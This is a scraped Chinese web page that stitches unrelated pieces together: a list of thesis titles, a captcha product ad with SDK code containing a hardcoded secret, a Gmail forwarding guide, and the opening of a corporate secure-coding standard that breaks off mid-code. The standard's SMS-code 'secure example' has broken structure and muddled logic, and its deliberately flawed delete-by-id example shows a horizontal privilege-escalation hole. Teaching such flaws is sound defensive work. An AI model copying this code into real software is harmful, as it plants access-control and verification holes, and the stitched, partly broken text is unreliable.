相容图(pcg)构造算法研究 基于深度学习的图像分割算法研究 图像去雨算法的研究与实现 面向网络丢包环境的视频编码优化控制算法 基于哈希的图像分类算法研究 一种面向非易失内存的持久化堆管理系统设计与实现 基于CNN的图像去噪算法的实现 图像的艺术风格渲染算法设计与实现 基于深度学习的图片风格转化 基于数据主权区块链的共识算法的研究 生成式对抗网络算法及应用研究 基于Deep Learning的图片分类 基于语音识别技术的肺部病状检测技术研究 利用OpenCV实现视频多目标跟踪与处理 基于深度学习的人物头部着装分类研究与实现 基于深度学习的糖尿病视网膜疾病诊断研究与实现 基于rcnn的课堂人脸识别 基于CNN的可视化追踪系统的设计实现 基于深度学习的心律失常的自动分类 基于python爬虫的网上商城比价系统的设计与实现 面向儿童的影视节目智能推荐系统 中学排课走班系统的设计与实现 用户呼吸频率监测与实现 广告文印交互通软件平台设计实现 三维人脸识别技术的研究与实现 网络文本数据分析系统设计与实现 一种嵌入式深度卷积神经网络推理引擎 高维数据的降维和特征选择 基于规则推理的平面几何类人答题系统的设计与实现 基于深度学习的车牌识别系统 基于深度学习的异常检测 基于深度学习的声纹识别 基于神经网络的反垃圾邮件系统设计与实现 三维地形绘制系统设计与实现 基于深度学习的车辆特征识别研究与实现 基于TensorFlow的手写汉字识别软件设计与实现 基于关键词与同义词的主观题评分技术研究 社交网络数据可视化研究 基于深度学习的哈希方法在多粒度图像检索中的研究与实现 基于深度学习的网站验证码识别系统 基于深度学习的呼吸监测 基于机器学习的短时交通流预测算法的研究与实现 机器学习在MCI疾病分类中的实现 边缘计算任务调度算法研究 金融大数据背景下定量化研究风险投资机构对企业发展的影响 人脸属性分类算法设计与实现 贝叶斯张量分解 基于RNN的诗歌生成 普通发票识别技术研究与实现 基于视频的火焰识别研究 基于矩阵分解的子空间聚类研究 心电图数据研究 基于循环神经网络的用户语句意图分类 基于神经网络的弱监督物体检测神经网络模型 基于XGBoost的网络游戏流失玩家预测算法 基于RGBD图像的边缘检测与分割 基于深度学习的零样本和少样本学习 基于rank-order的脉冲神经网络学习算法研究 基于深度学习的大数据预测方法 基于比对损失的步态识别 轨迹数据的语义表征与学习 基于哈希的人体动作识别 自然场景下的文字识别系统的研究与实现 人脸表情分类算法设计与实现 基于多源融合的社交媒体兴趣点流行度预测系统 区块链上智能合约的部署与应用研究 癌症病人的Cox比例风险预测模型研究及实现 基于视觉理解的行星及小天体表面陨石坑检测 基于深度学习的辅助药物设计 物体检测算法研究 人脸识别系统关键技术研究与系统实现 基于循环神经网络的静态代码分析 基于音频分析的客服质量监控系统实现 基于RNN的音乐自动生成 基于对抗网络的可视问答 基于数据内在结构特征的哈希检索方法 基于深度学习提取图像视频特征 基于深度学习的多模态检索 基于区块链的数据交易中恶意行为的检测 基于学科知识图谱的智能搜索平台研究与构建 基于XGBoost的网络游戏流失玩家预测算法研究 基于点过程的产品流行性预测 基于时间序列预测的金融风险评估模型的研究与实现 深度嵌入聚类算法研究 基于机器视觉的行人重识别算法的分析与实现 公交线路准点预测方法研究 基于深度学习的医学图像分割算法研究 基于CNN的高速公路流量预测 基于CRF的初等数学命名实体识别 基于多尺度 CNN的图片语义分割研究 基于图像分割技术的连通区域提取算法的研究 基于背景因素推理的目标关系识别算法研究与实现 基于智能移动设备的非接触式人机交互系统设计与实现 基于遮挡的人脸特征提取算法研究与实现 表情识别应用系统的设计与实现 深度学习在基于视频的人体动作识别上的应用 用户评分的隐式成分信息的研究 基于图像的场景分类算法的设计与实现 车辆再识别技术研究 基于图像的土壤分类算法的设计与实现 基于深度神经网络的图像高分辨率重建系统的设计与实现 基于生成对抗网络的图像隐私保护算法研究与实现 基于Elastic Search的数据检索系统 基于深度学习的人体行为识别算法研究 基于FPGA的低功耗通用目标检测系统设计与实现 数字图像中环境光识别和分类技术研究与实现 基于用户GPS轨迹的热点区域发现算法 基于局部二值模式的纹理图分类方法研究 一种基于非易失内存的文件系统缓存设计与实现 基于GDPR的隐私条款自动分析研究 基于深度学习的眼底水肿病变区域自动分割系统设计与实现 基于社交网络的用户主观倾向识别研究 经济模型中商品推销策略和算法研究 图像边缘检测系统设计与实现 多选举问题的算法研究 基于聚类算法的用户画像机制的设计与实现 基于对抗生成网络的图像生成技术研究与实现 Shor大数质因子分解量子算法的分析研究 基于Android的远程视频监控管理系统的设计与实现 基于大数据的供应商健康度评估算法研究 基于深度学习技术的语句通顺度评估模型研究 基于小样本的图像分类模型研究 基于深度学习的量化交易策略研究 平衡图分割问题的快速求解算法设计与实现 云计算环境下的动态资源规划策略研究 基于深度学习的人脸识别技术的实现 动态路径规划系统可视化方法设计与实现 图像中的显著性物体检测算法研究 基于约束条件下的推荐系统研究 图像压缩客观质量评价BDBR分析与改进 基于SkipList的多版本并发控制设计与实现 基于机器视觉的表面缺陷检测系统研究 基于深度学习的股市时间序列分析研究 基于FTP的远程文件传输系统设计 数学应用题方程组的自动求解 在线国际象棋人机对弈系统的设计与实现 基于深度学习的图像编辑操作检测研究 安防视频中行人手持物分析技术研究与实现 基于深度学习的人体动作分类算法的分析与实现 深度强化学习在多智能体合作与竞争中的应用 基于自步学习的多视图谱聚类算法研究 基于多角度人像的三维人脸重构 演化多目标优化中的约束处理技术 基于深度学习和注意力机制的视频问答算法研究 基于深度学习的人体行为识别算法的研究与实现 基于深度学习的交通标志识别模型的设计与实现 基于多数据源的数据分析平台的设计与实现 基于MATLAB的图像识别任务可视化技术研究 基于表征学习的信息推荐算法 区块链浏览器的设计与实现 基于图像的车牌检测系统的设计与实现 基于深度神经网络的多标签图像分类算法 基于深度森林的推荐模型研究 基于机器学习的实验数据智能算法设计 基于LSTM的高速公路拥堵预测 中医诊所问诊系统的设计与实现 基于AI的代码漏洞检测方法研究与实现 基于CNN的任意大小的隐写图像技术研究 基于深度卷积网络的 自然场景中的短文本实时检测与识别 基于深度学习的图像篡改检测研究 基于机器学习的汽车流量预测方法研究 基于流量的用户身份及行为识别系统设计 基于深度学习的人脸检测算法的研究与实现 基于Faster RCNN的初等数学答题卷面自动分割 基于Android和WiFi的无线自组织网络数据组播系统设计与实现 量子随机游走算法的分析研究 基于层次结构的社交网络最短路径近似算法研究 动漫数字化系统中的深度学习自动线描算法研究 在线路线查询的交通状况预测模拟算法研究与实现 数据挖掘在医疗健康领域的关键技术研究 基于Android系统的APP运行时沙箱环境设计与实现 基于区块链的数字版权系统的设计与实现 最大近似团问题精确算法的实现和优化 可解释性的属性网络表征学习 基于迁移学习的节假日高速公路流量预测 交通卡口车辆信息精准识别系统设计与实现 多视图半监督分类学习算法的研究 印尼语新闻事件元素抽取模型的设计与实现 基于粒子群优化的旅行商问题(TSP)求解方法研究 基于协同自适应的网络空间资源探测 量子机器学习算法的分析研究 基于卷积神经网络的彩色图像高分辨率处理平台设计与实现 面向物联网边缘计算的OpenNFV系统实现与优化 基于深度学习的植物图像文字描述设计与实现 基于OpenStack的高性能内存数据库系统实现 基于开源ESB的客舱服务中间件研究及开发 半监督学习工具包开发 基于Hawkes过程用户回归时间预测的研究 基于安卓的美食厨房软件app的设计与实现 基于图像的人数统计系统的设计与实现 大规模虚拟机内存管理优化 基于深度学习的病例图像语义分割研究 基于深度学习的植物生长样本图像分割模型设计与实现 基于模式识别的复杂系统涌现规则判定与实现 基于图论最优匹配的开关基站能量管理算法研究 基于Nmap的网络漏洞探测程序设计与实现 基于Python程序设计语言的网站开发技术研究与样例实现 基于卷积神经网络的文本情感识别算法研究与实现 手写数字识别系统设计与实现 基于自步学习的逻辑回归算法研究 基于神经网络的企业类型分类研究 基于深度卷积网络的微表情识别技术研究 聚类分析算法研究与应用 植物叶片疾病检测和分类算法的设计与实现 基于照片的规则长方体的体积测量 基于二分图的社交网络用户行为研究 基于流量数据的网络应用在线识别系统设计与实现 基于深度神经网络的网站验证码识别系统设计与实现 基于深度学习的跨视角动作识别算法 基于机器学习的复杂系统涌现模型研究 基于视网膜图像的生物特征识别系统实现 基于图像的花卉分类算法的设计与实现 中文情感倾向分析算法 图像特征检测与描述关键技术研究及实现 核素骨扫描图像的自动识别算法研究 基于深度学习的图像超分辨率算法研发 深度学习及其在文本关键词提取上的应用 新闻热点事件的情感倾向性研究与实现 大规模时间触发以太网调度表生成算法研究 基于深度神经网络的移动端图片分类研究与实现 移动应用通信特征提取与分析技术研究 基于移动智能终端的面对面文件传输 复杂系统涌现计算研究与实现 面向海量机器人终端的多用户随机接入算法研究与仿真 深度学习及其在文本分类上的应用 基于自然语言处理的软件需求文档分析 动态行为树构建与应用系统的设计与实现 社交网络在推荐系统中的应用研究 基于深度学习的病例图像分类设计与实现 共享经济下车辆指派问题的研究与算法设计 基于移动设备的癌症病人术后生存状态预测设计与实现 基于深度学习的视觉问答系统设计与实现 面向人脸识别的特征提取算法的分析与实现 基于内容的越南语相似新闻推荐算法研究 分布式协同感知资源管理系统的设计与实现 基于深度学习的电影推荐系统 基于身份认证的区块链共识算法的设计与实现 社交网络的社团结构研究 大学生助学金精准资助预测方法研究 基于病毒传播模型的复杂网络抽样算法研究 深度学习在自然语言处理系统中的应用 基于深度学习的人脸追踪算法的研究与实现 基于树莓派3的点对点网络通信决策系统设计与实现 自然语言的语法语义分析 基于自然语言处理的新闻热点话题分类技术的研究与实现 网络流量应用载荷提取系统设计 基于深度学习的图像细粒度分类研究 基于深度学习的情感分析算法学习与实现 心脏心跳声音的自动分类与病变判断系统设计与实现 学者论文被引频次预测模型设计与实现 用户社群识别 高中选排课算法的设计与实现 深度学习算法及其在异常行为检测中的应用 基于深度学习的中值滤波取证研究 基于CNN的人脸识别 保留格式加密算法的设计与实现 基于评论文本的情绪识别 面向新闻评论的用户情感倾向识别研究与实现 基于深度学习的链路预测 基于异构Discriminators的生成对抗网络 基于深度学习的社交网络热门词提取和情感分析 基于用户呼吸的运动强度估计 一种分布式图数据库查询引擎设计与实现 基于OpenCV的头姿态识别系统 基于GAN的头像生成 基于全局时序注意力网络的视频人像重新识别技术研究 基于PKI证书的二维码防伪系统的设计与实现 基于机器学习的辐射源数据分类算法的研究与实现 基于强化学习的最优定价理论研究 面向新闻报道的命名实体识别与关系挖掘系统研究与实现 GBRT算法模型研究及在欺诈检测中的应用 基于深度学习的目标检测 基于运动传感器的人体运动模式识别 基于OpenCV的面部表情识别系统的设计与实现 基于大数据分析的高考志愿咨询平台的设计与实现 暗网图像采集与分类 基于区块链的通证系统设计与开发 基于CNN的文本分类系统的设计与实现 边缘计算中支持优先级的多任务传输机制研究与实现 基于CNN的文本分类系统的设计 基于Windows系统SSDT驱动的hook技术研究 基于MongoDB数据库的脱敏系统设计与实现 基于深度学习的人类情感研究与分类 适用于数字签名的密码逆向防火墙设计与实现 基于机器学习的网络安全事件预测 基于生成对抗网络的图片风格迁移 基于语法分析的代码注入检测系统的设计与实现 以太坊钱包应用设计与开发 基于机器学习的新闻标题自动生成 PM2. 5污染实时预测及其在移动设备中的设计与实现 视频中的行人轨迹分析与聚类 基于VSM的词法句法相似度分析系统的设计与实现 基于深度神经网络的民族识别研究与实现 基于安卓的多媒体共享APP设计与实现 个性化新闻内容推荐系统的设计与实现 基于粒子群算法的无人机群体智能协作系统设计与实现 基于语义模块和实体组合的初等数学自然语言理解 基于用户语音的身份验证 网络爬虫分析与实现 基于深度学习的目标跟踪 深度学习中保护数据隐私的加密方案设计与实现 基于生成对抗网络的诗词生成 基于深度网络的动漫视频理解研究 基于随机擦除的Resnet实现 牙齿图像识别技术研究 基于Python程序设计语言的英语单词辅助记忆软件开发 基于双目视觉的三维建模技术研究与应用 手势识别及其在人机交互中的应用 基于DNN的行为识别方法研究将和原型系统开发 基于生成网络的动漫风格图片生成 基于深度学习的图像超分辨率重建 基于Python程序设计语言的五子棋游戏软件开发 基于标注的图像生成网络研究 基于层次结构社交网络的节点介数近似算法研究 实时视屏中枪械的识别与分类 网络视频中的谣言检测 基于知识推理的目标检测方法 基于知识库的视觉问答技术研究 利用深度学习的智能手机步态识别 深度自编码器在大规模稀疏数据中的应用研究 大规模图像标注与检索系统的设计与实现 机器翻译的错误检测系统 基于自步学习的K均值算法研究 基于深度神经网络的辅助药物设计 基于卷积神经网络的人像重光照算法的设计与实现 基于密度连接卷积网络的视频监测模型 弱监督条件下的时序行为检测技术研究 一种分布式图数据库存储引擎的设计与实现 基于多智体深度强化学习的资源分配决策优化 基于深度学习的图像段落生成技术 基于视盘视杯分割的青光眼疾病筛查算法 深度学习网络的嫁接 基于群智能算法与区块链的新型多目标优化算法 基于移动智能设备的GPS欺骗攻防技术 基于百度地图的HUD导航系统的设计与实现 在线标准化课程评价系统的设计与实现 基于多媒体制作的内容开发及实现 基于大数据分析的网店经营状况分析及排名基于概念分解模型的联合结构化图学习与聚类算法研究 基于简单自表示模型的联合结构化图学习与聚类算法研究 爬虫监控系统的设计与实现 基于大数据的轻量搜索引擎系统的设计与实现 基于R语言的多种聚类算法的交互演示系统 基于web的云智教育在线平台设计与实现 基于Android的旅游车服务程序的设计与实现 基于Unity的2D 平台动作游戏的设计与实现 基于印染数据的可视化系统设计与实现 "基于深度学习的艺术画风格识别 基于机器学习技术的量化交易模型设计与实现 多对一语音转换软件设计 基于svm的运动软件app开发系列文章【Java基础】10道不得不会的Java基础面试题【Java并发】10道不得不会的Java并发基础面试题【MySQL】10道不得不会的MySQL基础面试题【ElasticSearch】10道不得不会的ElasticSearch面试题【JVM】10道不得不会的JVM面试题文章清单
推荐几款免费实用的第五代图形验证码
功能特点:自由配置、快速接入、立体防护 Web、Android、iOS、微信小程序等多客户端自由接入,提供PHP、Python、Java、Go、C++、Node.js等多种语言接入方式,自定义验证方式、主题样式、语言等,满足不同场景验证需求,提升用户体验。构筑十道安全栅栏:动态加密、Pow验证、轨迹分析、特征发现、信用历史、设备指纹、反模拟器、虚拟机加固、黑名单库、分级验证。通过立体防御体系,阻拦黑产破解。1、滑动拼图HTML接入示例:<script>
kg.captcha({
// 绑定元素,验证框显示区域
bind: "#captchaBox",
// 验证成功事务处理
success: function(e) {
console.log(e);
},
// 验证失败事务处理
failure: function(e) {
console.log(e);
},
// 点击刷新按钮时触发
refresh: function(e) {
console.log(e);
}
});
</script>
<div id="captchaBox">载入中 ...</div>2、语序点选PHP 接入示例:include "public/KgCaptchaSDK.php";
// 填写你的 AppId,在应用管理中获取
$appId = "xxx";
// 填写你的 AppSecret,在应用管理中获取
$appSecret = "W68oJi0iqT2C3BFRGirO1IaYCDvsYEED";
$request = new kgCaptcha($appId, $appSecret);
// 填写应用服务域名,在应用管理中获取
$request->appCdn = "https://cdn.kgcaptcha.com";
// 前端验证成功后颁发的 token,有效期为两分钟
$request->token = $_POST["kgCaptchaToken"];
// 当安全策略中的防控等级为3时必须填写
$request->userId = "kgCaptchaDemo";
// 请求超时时间,秒
$request->connectTimeout = 10;
$requestResult = $request->sendRequest();
if ($requestResult->code === 0) {
// 验签成功逻辑处理
echo "验证通过";
} else {
// 验签失败逻辑处理
echo "验证失败,错误代码:{$requestResult->code}, 错误信息:{$requestResult->msg}";
}3、空间推理Java 接入示例:import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Map;
public class demo extends HttpServlet {
private static final long serialVersionUID = 1L;
public demo() {
super();
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 编码
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");;
response.setContentType("text/html; charset=utf-8");
// 后台处理
if (request.getMethod().equals("POST")){
String html, appId, appSecret;
// 设置 AppId 及 AppSecret,在应用管理中获取
appId = "L001";
appSecret = "W68oJi0iqT2C3BFRGirO1IaYCDvsYEED";
KgCaptchaSDK KgRequest = new KgCaptchaSDK(appId, appSecret);
// 前端验证成功后颁发的 token,有效期为两分钟
KgRequest.token = request.getParameter("kgCaptchaToken");
// 填写应用服务域名,在应用管理中获取
KgRequest.appCdn = "https://cdn9.kgcaptcha.com";
// 请求超时时间,秒
KgRequest.connectTimeout = 5;
// 用户登录或尝试帐号,当安全策略中的防控等级为3时必须填写,一般情况下可以忽略
// 可以填写用户输入的登录帐号(如:request.getParameter("username"),可拦截同一帐号多次尝试等行为
KgRequest.userId = "kgCaptchaDemo";
// request 对象,当安全策略中的防控等级为3时必须填写,一般情况下可以忽略
KgRequest.request = request;
// java 环境中无法提供 request 对象,请分别定义:clientIp¦clientBrowser¦domain 参数,即:
// KgRequest.clientIp = "127.0.0.1"; // 填写客户端IP
// KgRequest.clientBrowser = ""; // 客户端浏览器信息
// KgRequest.domain = "http://localhost"; // 你的授权域名或服务IP
// 发送验证请求
Map<String, String> requestResult = KgRequest.sendRequest();
if("0".toString().equals(requestResult.get("code"))) {
// 验签成功逻辑处理 ***
// 这里做验证通过后的数据处理
// 如登录/注册场景,这里通常查询数据库、校验密码、进行登录或注册等动作处理
// 如短信场景,这里可以开始向用户发送短信等动作处理
// ...
html = "<script>alert(´验证通过´);history.back();</script>";
} else {
// 验签失败逻辑处理
html = "<script>alert(\"" + requestResult.get("msg") + " - " + requestResult.get("code") + "\");history.back();</script>";
}
response.getWriter().append(html);
} else {
response.sendRedirect("index.html");
}
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}
}
Python 接入示例:from KgCaptchaSDK import KgCaptcha
def start(environ, response):
# 填写你的 AppId,在应用管理中获取
AppID = "L001"
# 填写你的 AppSecret,在应用管理中获取
AppSecret = "W68oJi0iqT2C3BFRGirO1IaYCDvsYEED"
request = KgCaptcha(AppID, AppSecret)
# 填写应用服务域名,在应用管理中获取
request.appCdn = "https://cdn.kgcaptcha.com"
# 请求超时时间,秒
request.connectTimeout = 10
# 用户id/登录名/手机号等信息,当安全策略中的防控等级为3时必须填写
request.userId = "kgCaptchaDemo"
# 使用其它 WEB 框架时请删除 request.parse,使用框架提供的方法获取以下相关参数
parseEnviron = request.parse(environ)
# 前端验证成功后颁发的 token,有效期为两分钟
request.token = parseEnviron["post"].get("kgCaptchaToken", "") # 前端 _POST["kgCaptchaToken"]
# 客户端IP地址
request.clientIp = parseEnviron["ip"]
# 客户端浏览器信息
request.clientBrowser = parseEnviron["browser"]
# 来路域名
request.domain = parseEnviron["domain"]
# 发送请求
requestResult = request.sendRequest()
if requestResult.code == 0:
# 验证通过逻辑处理
html = "验证通过"
else:
# 验证失败逻辑处理
html = f"{requestResult.msg} - {requestResult.code}"
response("200 OK", [("Content-type", "text/html; charset=utf-8")])
return [bytes(str(html), encoding="utf-8")]
httpd = make_server("0.0.0.0", 8088, start) # 设置调试端口 http://localhost:8088/
httpd.serve_forever()
C# .Net 接入示例:using KgCaptchaSDK;
public partial class _Default : System.Web.UI.Page{
protected void Page_Load(object sender, EventArgs e) {
// 后端处理
string html, appId, appSecret, Token;
if (Request.Form.ToString().Length > 0){ // 有数据处理
// 填写你的 AppId,在应用管理中获取
appId = "L001";
// 填写你的 AppSecret,在应用管理中获取
appSecret = "W68oJi0iqT2C3BFRGirO1IaYCDvsYEED";
var request = new kgCaptcha(appId, appSecret);
// 前端验证成功后颁发的 token,有效期两分钟
request.token = Request.Form["kgCaptchaToken"];
// 填写应用服务域名,在应用管理中获取
request.appCdn = "https://cdn.kgcaptcha.com";
// 当安全策略中的防控等级为3时必须填写,一般情况下可以忽略
// 可以填写用户输入的登录帐号(如:Request.Form["username"]),可拦截同一帐号多次尝试等行为
request.userId = "kgCaptchaDemo";
// 请求超时时间,秒
request.connectTimeout = 5;
// 发送验证请求
var requestResult = request.sendRequest();
if (requestResult.code == 0) {
// 验签成功逻辑处理 ***
// 这里做验证通过后的数据处理
// 如登录/注册场景,这里通常查询数据库、校验密码、进行登录或注册等动作处理
// 如短信场景,这里可以开始向用户发送短信等动作处理
// ...
html = "<script>alert(´验证通过´);history.back();</script>";
} else {
// 验签失败逻辑处理
html = "<script>alert(\"" + requestResult.msg + " - " + requestResult.code + "\");history.back();</script>";
}
// 输出结果
Response.Write(html);
}
Response.Redirect("index.html");
}
}相关链接:SDK下载:https://github.com/KgCaptcha效果演示:https://www.kgcaptcha.com/demo
如何在 Gmail 中设置电子邮件转发
快速回答要在 Gmail 中设置电子邮件转发,请在桌面浏览器中打开您要转发的 Gmail 帐户。在“设置”中,转到“转发”和“POP/IMAP ” 。单击 转发部分中的添加转发地址,然后按照屏幕上的提示进行操作。如何在 Gmail 中设置电子邮件转发目前,Android 和 iOS Gmail 应用程序不允许您设置电子邮件转发。您必须在桌面浏览器上执行此操作。首先,打开你要转发的Gmail账号。转到设置–>转发和 POP/ IMAP。在那里,您会看到转发部分。Advertisement |转发 gmail单击添加转发地址。现在将出现此框。输入您要转发到的电子邮件地址。gmail 添加转发地址现在系统会要求您确认是否要将其转发到该地址。单击继续。gmail转发确认Gmail 现在会告诉您确认代码已发送到转发电子邮件地址。单击确定。gmail转发邮件确认转到转发电子邮件地址并找到来自 Gmail 的电子邮件。里面会有一个确认码。返回并在要转发的电子邮件地址的 Gmail 设置中输入代码。然后滚动到底部并单击保存更改。gmail转发验证码您的 Gmail 帐户现在将重新加载。如果有,请返回转发和 POP/IMAP 部分。您现在将在“转发”部分看到您的转发电子邮件地址。切换将传入邮件的副本转发至以启用该功能。然后决定在转发电子邮件后应如何处理电子邮件的原始副本。gmail转发启用保存您的更改,Gmail 现在将再次重新加载。转发地址已设置。您可以通过给自己发送电子邮件来测试它。仅自动转发某些 Gmail 电子邮件而不是所有电子邮件如果您希望仅根据电子邮件地址或关键字自动转发某些 Gmail 电子邮件,那也是完全可能的。也许您只想转发父母的电子邮件?或者任何亚马逊购物邮件?转到 Gmail 过滤器框并添加您要自动转发其电子邮件的人的电子邮件地址。您还可以使用关键字设置过滤器,但这可能会导致转发许多提及相同关键字的其他电子邮件。电子邮件地址更准确。gmail 过滤器自动转发特定的电子邮件点击Create Filter后,选择Forward it to并在下拉框中选择目标电子邮件地址。目标电子邮件地址必须已在转发和 POP/IMAP部分中设置。gmail 过滤器自动将特定电子邮件转发给其他人保存并退出。转发一封一次性的 Gmail 电子邮件转发 gmail 电子邮件如果您只想转发一封一次性的 Gmail 电子邮件,您只需打开相关电子邮件即可。然后单击右侧的三点菜单,然后选择Forward。输入您要将其发送到的电子邮件地址,然后单击“发送”按钮。使用 Multi-Email Forward 转发多封一次性 Gmail 电子邮件以前的方法只允许您一次转发一封电子邮件。但是如果你想一次转发多个呢?如果您想将帐户中的所有电子邮件发送到另一个电子邮件地址怎么办?这就是CloudHQ 的多电子邮件转发发挥作用的地方。安装 Chrome 扩展程序后,选择多个 Gmail 电子邮件,将显示一个新选项。gmail 多邮件转发选择邮件当您单击该按钮时,一个菜单将为您提供各种转发选项。gmail 多邮件转发选项本文链接:https://www.gmailpf.com/?p=54 转载请注明出处,谢谢
【软件开发规范四】《应用系统安全编码规范》
应用系统安全编码规范目 录应用系统安全编码规范 目 录 应用系统安全编码规范 1 总则 1.1 目的 1.2 适用范围 1.3 阅读对象 2 术语和定义 2.1 应用系统 2.2 敏感信息 2.3 鉴别 2.4 验证码 3 缩略语 4 应用安全编码规范 4.1 身份认证 4.2 访问控制 4.3 输入输出验证 4.4 会话安全 4.5 数据安全 5 禁止项 5.1 绝对禁止项 5.2 安全问题 总则目的为落实《信息安全策略》的要求,有效加强应用系统安全管理,提升应用系统安全编码能力,指导开发团队有效进行应用系统安全编码,特制定本规范。适用范围本指南适用集团公司和子公司的所有应用系统。阅读对象本文档适合的阅读对象包括:应用系统需求、设计人员,开发类项目的项目经理;应用系统开发、维护人员;应用系统安全功能测试人员,安全漏洞测试人员等。术语和定义应用系统由一个或多个应用程序(通常为定制开发)组成,并可能结合若干其它通用软件(如中间件、数据库等),部署在操作系统上,实现特定的功能需求。从架构上区分,主要包括BS应用、CS应用、APP应用(移动智能终端)、微信应用等。从使用对象区分,主要包括内部应用(使用对象为内部员工)、外部应用(使用对象为外部客户)、合作商应用(使用对象主要为4S店等合作商)、复合类应用(使用对象同时包括上述多类用户)。从开发主体来区分,主要包括自主开发、外包开发、商业软件。敏感信息由本公司确定的必须受保护的信息,因为该信息的泄露、修改、破坏或丢失会对人或事产生可预知的损害。主要包括业务信息:如保单信息、理赔信息等;客户资料信息:如客户的身份证号码、住址、联系方式、绑定的银行卡卡号、车牌号等;员工信息;鉴别信息等。鉴别验证实体所声称的身份的动作。验证码主要包括图形验证码,通过短信、邮件等方式发送的随机数验证码等。缩略语下列缩略语适用于本文件。PIN:个人识别密码(Personal Identification Number)应用安全编码规范应用安全编码规范包括身份认证、访问控制、输入输出验证、会话安全和数据安全五个部分。身份认证图形验证码实现(1)风险概述较弱的图形验证码能够被某些图像识别技术读取出其中的验证码字符,进而绕过图形验证码的校验功能。(2)合规方案图形验证码应该满足如下要求:图形验证码里的字符并添加干扰线。示例图:图形验证码应该动态生成,不重复,以防止根据图片hash进行内容匹配。必须是一次性的,每次验证之后必须更新。图形验证码对应的字符内容只能在服务端保存。多样化的图形验证码只要具备安全特性,都可使用。 例如下图,按照图片的内容,人工得出另一个结果,也推荐使用。(3)安全编码示例:<% //String num = request.getParameter("num"); String num="4"; int charNum = 4; // 随机产生字符数量 if(num != null){ charNum = Integer.parseInt(num); } int width = 74; // 图片宽 int height = 30; // 图片高 int lineSize = 100; // 干扰线数量 String randString=""; //需要绘制的随机字符串 BufferedImage buffImage = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR); // BufferedImage类描述具有可访问图像数据缓冲区的Image Graphics2D g = buffImage.createGraphics(); //设置背景色 g.setColor(Color.white); g.fillRect(0, 0, width, height); //设置字体 g.setFont(new Font("Times New Roman", Font.ROMAN_BASELINE, 18)); //画边框 g.drawRect(0,0,width-1,height-1); //绘制干扰线 Random random = new Random(); for (int i = 0; i <= lineSize; i++) { int x = random.nextInt(width); int y = random.nextInt(height); int xl = random.nextInt(width/8); int yl = random.nextInt(height/8); g.setColor(randColor(130, 250)); g.drawLine(x, y, x + xl, y + yl); } //字符集,从中随机产生字符串 char[] characterSet = {'0','1','2','3','4','5','6','7','8','9', 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; g.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.6f)); //设置透明色 g.setFont(new Font("Fixedsys", Font.CENTER_BASELINE, 24)); //产生随机验证码 for (int i = 1; i <= charNum; i++) { g.setColor(randColor(20,130)); String rand = String.valueOf(characterSet[random.nextInt(characterSet.length)]); //获取随机的字符 g.translate(random.nextInt(3), random.nextInt(3)); g.drawString(rand, width/(charNum+2) * i, height/4*3); randString += rand; } g.dispose(); System.out.println("验证码:"+randString); session.setAttribute("validateCode", randString); //禁止图像缓存。 response.setHeader("Pragma", "no-cache"); response.setHeader("Cache-Control", "no-cache"); response.setDateHeader("Expires", 0); OutputStream os = response.getOutputStream(); try { ImageIO.write(buffImage, "png", os); os.close(); out.clear(); out = pageContext.pushBody(); } catch (IOException e) { e.printStackTrace(); }%><%!/* * 随机获取颜色 */private Color randColor(int fc, int bc){ Random random = new Random(); if (fc > 255) fc = 255; if (bc > 255) bc = 255; int r = fc + random.nextInt(bc - fc); int g = fc + random.nextInt(bc - fc); int b = fc + random.nextInt(bc - fc); return new Color(r, g, b);}%>短信验证码实现(1)风险概述短信验证码在多种应用场景中发挥了身份识别的重要作用,如果实现时考虑不周全,会导致手机号绕过、验证码被暴力猜解、短信轰炸等多个安全问题的产生。(2)合规方案实现短信验证码验证时,应判断短信验证码是否已经被使用过、短信验证码是否正确、短信验证码是否超时等。(3)安全编码示例:public int doControl() throws SsException { try { String sms_input =(String)mapValue.get("sms_yzm"); String errMsg=(String)mapValue.get("respmsg"); String sms_yzm = priDataCache.getParam("sms_yzm"); String sms_time = priDataCache.getParam("sms_yzm_time");boolean isBeyondCount=false; //检查是否获取到短信验证码 if(sms_yzm==null || sms_time==null ||sms_time.equals("")||sms_yzm.equals("")){ priDataCache.setParam("respcode", "m2019"); priDataCache.setParam("respmsg", "未获取短信验证码!"); return -1; } //短信验证码超时检查 if(System.currentTimeMillis()-180000>Long.parseLong(sms_time)){//三分钟 priDataCache.setParam("respcode", "m2020"); priDataCache.setParam("respmsg", "短信验证码已经超时,请重新获取"); return -1; } //检查短信验证码是否已被使用 if(sms_input!=null&&sms_input.equals(sms_yzm)){ priDataCache.setParam("sms_yzm", ""); priDataCache.setParam("sms_yzm_time", ""); } //判断短信的错误尝试次数 if(sms_input!=null){int msgCount = iBaseDao.queryForInt("customer.countMsg", param); if(msgCount>10){ isBeyondCount=true;}if(isBeyondCount){ TransUtil.buildResponseMessage(AppConstants.RspCode_FAIL, "短信验证码在一天之内不允许超过10次",rst); return rst;}else{ priDataCache.setParam("respcode", "m2021"); priDataCache.setParam("respmsg", errMsg); return -1; } }catch(Exception ex){ Log.getInstance().error(logId,ex.getMessage(),ex); throw new SsException("m2022", "验证码输入不正确" + ex.toString()); } return 0;}访问控制水平越权防范(1)风险概述水平越权漏洞,是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时,没有判断数据的所属人,而导致的越权数据访问漏洞。例如服务器端从客户端提交的request参数(用户可控数据)中获取用户ID,恶意攻击者通过变换请求ID的值,查看或修改不属于本人的数据。(2)缺陷编码示例:水平越权漏洞产生的原因就是服务器端对数据的访问控制验证不充分造成的。一个正常的用户A通常只能够对自己的一些信息进行增删改查,如果用户在对信息进行增删改查的时候服务器没有判断操作的信息是否属于对应的用户,即可导致用户越权操作其他人的信息。如下代码是一段根据地址id删除用户地址的代码,在删除操作时,未判断提交的地址id是否属于当前登录用户,可导致水平越权漏洞的产生。@RequestMapping(value="/delete/{addrId}")public Object remove(@PathVariable Long addrId){ Map<String, Object> respMap = new 